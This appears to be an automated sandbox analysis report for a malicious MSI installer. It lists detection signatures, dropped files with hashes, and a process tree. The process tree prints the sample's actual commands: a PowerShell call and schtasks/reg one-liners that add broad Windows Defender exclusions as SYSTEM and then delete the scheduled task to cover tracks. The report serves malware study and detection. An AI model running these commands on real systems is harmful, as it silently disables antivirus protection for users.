Analysis

  • max time kernel
    146s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    31/07/2026, 02:49

General

  • Target
    install_mal003.msi
  • Size 5.8MB
  • Sample260731-dbg83ascrd
  • SHA256 46ff9f7bae7daa4043d463a91d4bde3d0a8a05a7c3c3135884dda390df0c59db
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 7 IoCs
  • Drops file in Windows directory 13 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 22 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_mal003.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:4260
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4664
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1184
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding EAD013B084031F86F0E3B6691DEE36C8 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Badlisted process makes network request
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:4720
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious use of AdjustPrivilegeToken
    PID:4100
  • C:\Users\Public\ypivm8\YksiNS.exe
    "C:\Users\Public\ypivm8\YksiNS.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3484
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:2440
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\ypivm8\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:3696
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\ypivm8\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1080
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:920
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:2484
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:1832
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:1256
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:5588
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:4396
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:3832
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:3448
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:3024
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:5728
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:2192
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:2124
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:368
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:1348
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      PID:6068
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:4844
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:2552
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:2080
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\ypivm8" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        PID:708
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\ypivm8" /t REG_DWORD /d 0 /f
                          2⤵
                            PID:2700
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:3152
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            PID:1908
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              2⤵
                                PID:1660
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              PID:4404
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                                2⤵
                                  PID:3636
                              • C:\Windows\system32\cmd.exe
                                "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                1⤵
                                • Executes a command shell one-liner
                                PID:460
                                • C:\Windows\System32\reg.exe
                                  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                  2⤵
                                    PID:2076
                                • C:\Windows\system32\cmd.exe
                                  "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                  1⤵
                                  • Executes a command shell one-liner
                                  PID:3268
                                  • C:\Windows\System32\reg.exe
                                    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                    2⤵
                                      PID:3192

                                  Network

                                        MITRE ATT&CK Enterprise v16

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                                        Downloads

                                        e590ba0.rbs

                                        • Path C:\Config.Msi\e590ba0.rbs
                                        • Size 7KB
                                        • SHA256 ce8867e27e4b8d36b9676210d93d26449852f9d8035c2b58331d454f499ee02b
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        UxEnhance64.dll

                                        • Path C:\Users\Public\ypivm8\UxEnhance64.dll
                                        • Size 3.1MB
                                        • SHA256 80f2859321e626c703e934328779bb8ccd969d424b83adf6ec8adef35d0f15ae
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        YksiNS.exe

                                        • Path C:\Users\Public\ypivm8\YksiNS.exe
                                        • Size 135KB
                                        • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        adoresd.dat

                                        • Path C:\Users\Public\ypivm8\adoresd.dat
                                        • Size 4.8MB
                                        • SHA256 32070fc333ba7c31e6b948fb41d8a7ec1cd769f2c93394946bfcbfe758db3ea7
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        msadox.tb

                                        • Path C:\Users\Public\ypivm8\msadox.tb
                                        • Size 8KB
                                        • SHA256 27727e6ab68ea92b07ab3314e3577fad822429ec0b466dd5d4c90db1d8229c19
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        MSI138F.tmp

                                        • Path C:\Windows\Installer\MSI138F.tmp
                                        • Size 5.8MB
                                        • SHA256 d4f0a7d05fd811fd2c9eeadb14696a445dc7b0735471390333aa464420f8f2b6
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        e590b9f.msi

                                        • Path C:\Windows\Installer\e590b9f.msi
                                        • Size 5.8MB
                                        • SHA256 46ff9f7bae7daa4043d463a91d4bde3d0a8a05a7c3c3135884dda390df0c59db
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        metadata-2

                                        • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
                                        • Size 26.1MB
                                        • SHA256 f2ddc7d807e663f2b6a680541055a720113bae6c759d4614941b955154caa2fe
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        {a5bcc866-9956-45bb-a0aa-7aafc7c546f2}_OnDiskSnapshotProp

                                        • Path \??\Volume{5d76dc85-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{a5bcc866-9956-45bb-a0aa-7aafc7c546f2}_OnDiskSnapshotProp
                                        • Size 6KB
                                        • SHA256 2bf2e3e01fcbbfea072111ef538abfc6e8ce6ae4d44f261adcd9f71a53edc33d
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        memory/2440-111-0x000002104D200000-0x000002104D222000-memory.dmp

                                        memory/2440-114-0x000002104D250000-0x000002104D26E000-memory.dmp

                                        memory/2440-115-0x000002104D270000-0x000002104D322000-memory.dmp

                                        memory/2440-116-0x000002104D330000-0x000002104D33A000-memory.dmp

                                        memory/3484-75-0x00007FF98D520000-0x00007FF98D522000-memory.dmp

                                        memory/3484-94-0x000001F66B170000-0x000001F66B1BE000-memory.dmp

                                        memory/3484-67-0x00007FF98D510000-0x00007FF98D512000-memory.dmp

                                        memory/3484-73-0x000001F66BC80000-0x000001F66C53E000-memory.dmp

                                        memory/3484-76-0x000001F66BC80000-0x000001F66C53E000-memory.dmp

                                        memory/3484-105-0x000001F66BC80000-0x000001F66C53E000-memory.dmp

                                        memory/3484-80-0x000001F66BC80000-0x000001F66C53E000-memory.dmp

                                        memory/3484-81-0x000001F66BC80000-0x000001F66C53E000-memory.dmp

                                        memory/3484-82-0x000001F66BC80000-0x000001F66C53E000-memory.dmp

                                        memory/3484-83-0x000001F66BC80000-0x000001F66C53E000-memory.dmp

                                        memory/3484-88-0x000001F66BC80000-0x000001F66C53E000-memory.dmp

                                        memory/3484-68-0x00007FF968F90000-0x00007FF9694AE000-memory.dmp

                                        memory/3484-97-0x000001F66C5D0000-0x000001F66C65A000-memory.dmp

                                        memory/3484-98-0x000001F66C5D0000-0x000001F66C65A000-memory.dmp

                                        memory/3484-99-0x000001F66C5D0000-0x000001F66C65A000-memory.dmp

                                        memory/3484-96-0x000001F66C5D0000-0x000001F66C65A000-memory.dmp

                                        memory/3484-101-0x000001F66BC80000-0x000001F66C53E000-memory.dmp

                                        memory/3484-104-0x000001F66BC80000-0x000001F66C53E000-memory.dmp

                                        memory/4664-5-0x00000212679A0000-0x0000021268344000-memory.dmp

                                        memory/4720-48-0x00007FF97C9B0000-0x00007FF97C9C2000-memory.dmp

                                        memory/4720-17-0x00007FF97C9B0000-0x00007FF97C9C2000-memory.dmp

                                        memory/4720-14-0x00007FF968E80000-0x00007FF9694A9000-memory.dmp

                                        memory/4720-13-0x00007FF98D510000-0x00007FF98D512000-memory.dmp